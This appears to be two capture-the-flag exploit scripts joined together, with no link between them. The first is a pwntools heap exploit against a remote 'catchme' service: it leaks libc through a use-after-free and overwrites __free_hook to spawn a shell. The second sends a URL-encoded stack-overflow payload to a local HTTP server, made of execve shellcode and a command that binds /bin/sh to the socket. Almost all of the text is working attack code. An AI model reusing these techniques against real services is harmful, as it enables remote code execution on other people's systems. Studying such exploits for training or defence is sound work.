from pwn import *
context(log_level="debug")
# p = process("./catchme")
p = remote("10.11.253.44", 25358)
libc = ELF("./libc-2.27.so")
# 1. leak libc uaf
# 2. house of storm?

# we guess the target chunk size to be 0x55 or 0x56, for which the only possible alloc size is 0x46

def adopt(ty):
    p.recvuntil(">>\n")
    p.sendline("1")
    p.recvuntil("(3)otter\n")
    p.sendline(str(ty))

def release(idx):
    p.recvuntil(">>\n")
    p.sendline("2")
    p.recvuntil("index:\n")
    p.sendline(str(idx))

def inspect(idx):
    p.recvuntil(">>\n")
    p.sendline("3")
    p.recvuntil("index:\n")
    p.sendline(str(idx))

def engrave(idx, content):
    p.recvuntil(">>\n")
    p.sendline("4")
    p.recvuntil("index:\n")
    p.sendline(str(idx))
    p.recvuntil("set tag:\n")
    p.send(content)

def purge(idx):
    p.recvuntil(">>\n")
    p.sendline("6")
    p.recvuntil("index:\n")
    p.sendline(str(idx))

adopt(2) # unsorted, 0
adopt(3) # 1
alloc_size = 0x46 # 碰那个堆高位 0x56 的情况

adopt(1) # largebin, 2
adopt(3) # prevent merging with head, 3
purge(3)
for i in range(7):
    adopt(3)
    release(3)
    purge(3)

release(2)
inspect(2)

p.recvuntil("tag:")
libc_leak = u64(p.recv(6).ljust(8, b"\x00"))
log.info(f"libc_leak: {hex(libc_leak)}")

libc_base = libc_leak - 0x3ebca0
log.info(f"libc base: {hex(libc_base)}")

free_hook = libc_base + 0x3ed8e8
target = free_hook - 8

release(0)

adopt(2) # 3
release(3)

fake_chunk = target - 0x10
shift_amount = 5
# edit 4

engrave(3, p64(fake_chunk))
engrave(2, p64(fake_chunk + 8) + p64(fake_chunk - 0x18 - shift_amount) * 2)

adopt(3)
engrave(4, p64(0x4f302 + libc_base))
# trigger

release(1)
p.interactive()

#!/usr/bin/env python3
import socket
from pwn import *

# 配置目标地址和端口
HOST = "localhost"
PORT = 8000
URL = f"http://{HOST}:{PORT}"

def encode_string(s):
    """
    将普通 ASCII 字符串编码为 URI 格式 (%XX)，以便能被 uri_unescape 正确解码。
    注意：此函数会将所有非字母数字字符转换为 %XX，因为 C 函数会丢弃它们。
    如果你希望保留 /, -, _ 等符号，需要在编码前手动替换掉这些符号。
    """
    result = []
    
    for c in s:
        # 如果已经是合法的 URI 安全字符 (字母数字), 直接加进去? 
        # 不，根据 C 代码逻辑：C 函数会跳过所有非 %XX 的字符。
        # 所以为了能被该函数解密出来，输入给 decode_string 的东西必须是纯 %XX 序列。
        # 但通常我们需要把普通字符串变成 URI 格式。
        char = chr(c)
        print(c)
        if char.isalnum() and ord(char) < 0x80:
            print("is alpha num " + str(c))
            result.append(char)
        else:
            # 将非字母数字字符转换为 %XX
            hex_val = format(ord(char), '02X')
            result.append(f'%{hex_val}')
            
    return ''.join(result)

def send_request(method, path, data=None):
    """
    发送 HTTP 请求并返回响应
    :param method: GET 或 POST
    :param path: URL 路径 (如 /test, /foo/bar)
    :param data: POST 时的 payload 数据
    :return: 服务器响应的字符串
    """
    
    # 构建 HTTP 请求头
    headers = {
        "Host": HOST,
        "User-Agent": "Python-PwnTools-Client/1.0",
        "Connection": "close"
    }
    
    if method == "GET":
        request_line = f"{method} {path} HTTP/1.1\r\n"
        body = ""
    else: # POST
        request_line = f"{method} {path} HTTP/1.1\r\n"
        body = data
    
    # 组装完整请求
    full_request = (f"{request_line}\r\n") + "\r\n".join(f"{k}: {v}" for k, v in headers.items()) + "\r\n" + body + "\r\n--END--\n"
    
    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.connect((HOST, PORT))
            s.sendall(full_request.encode('utf-8'))
            
            # 接收响应直到看到 \r\n\r\n (HTTP 响应的结束符)
            response = b""
            while True:
                chunk = s.recv(4096)
                if not chunk:
                    break
                response += chunk
                if b"\r\n\r\n" in response:
                    # 找到结束位置，截取 HTTP 响应部分
                    idx = response.find(b"\r\n\r\n") + 4
                    return response[:idx].decode('utf-8', errors='ignore')
            return response.decode('utf-8', errors='ignore')

    except Exception as e:
        print(f"连接错误：{e}")
        return None

def main():
    print("=" * 30)
    print("开始测试服务器交互...")
    print("=" * 30)

    stack_top = 0x7ffffffff000 # TODO
    stack_buf = stack_top - 0x2540
# writing assembly

    payload = b"a"* 0x20 + b"exec 0<&4 1>&4 2>&4; exec /bin/sh;"
    # payload = b"exec%200%2C%264%201%3E%264%202%3E%264%3B%20exec%20%2Fbin%2Fsh%3B"
    syscall_asm = '''
        lea %rdi, [rsp-0x108]
        xor %rsi, %rsi
        xor %rdx, %rdx
        mov $59, %rax
        syscall
    '''
    syscall_asm = b"\x48\x8D\xBC\x24\xF8\xFE\xFF\xFF" + b"\x48\x31\xf6" + b"\x48\x31\xd2" + b"\xb0\x3b" + b"\x0f\x05"

    payload += syscall_asm
    payload = payload.ljust(0x120, b"a") + p64(stack_buf + 0x28 + len("exec 0<&4 1>&4 2>&4; exec /bin/sh;") + 1)[:6]
    payload = encode_string(payload)
    print("encoded payload\n")
    print(payload.encode("latin-1"))
    print("\n[4] 尝试访问非存在的随机路径 (/random/path)")
    resp = send_request("GET", payload)
    print(resp)
    # gap till the stack top is known

if __name__ == "__main__":
    main()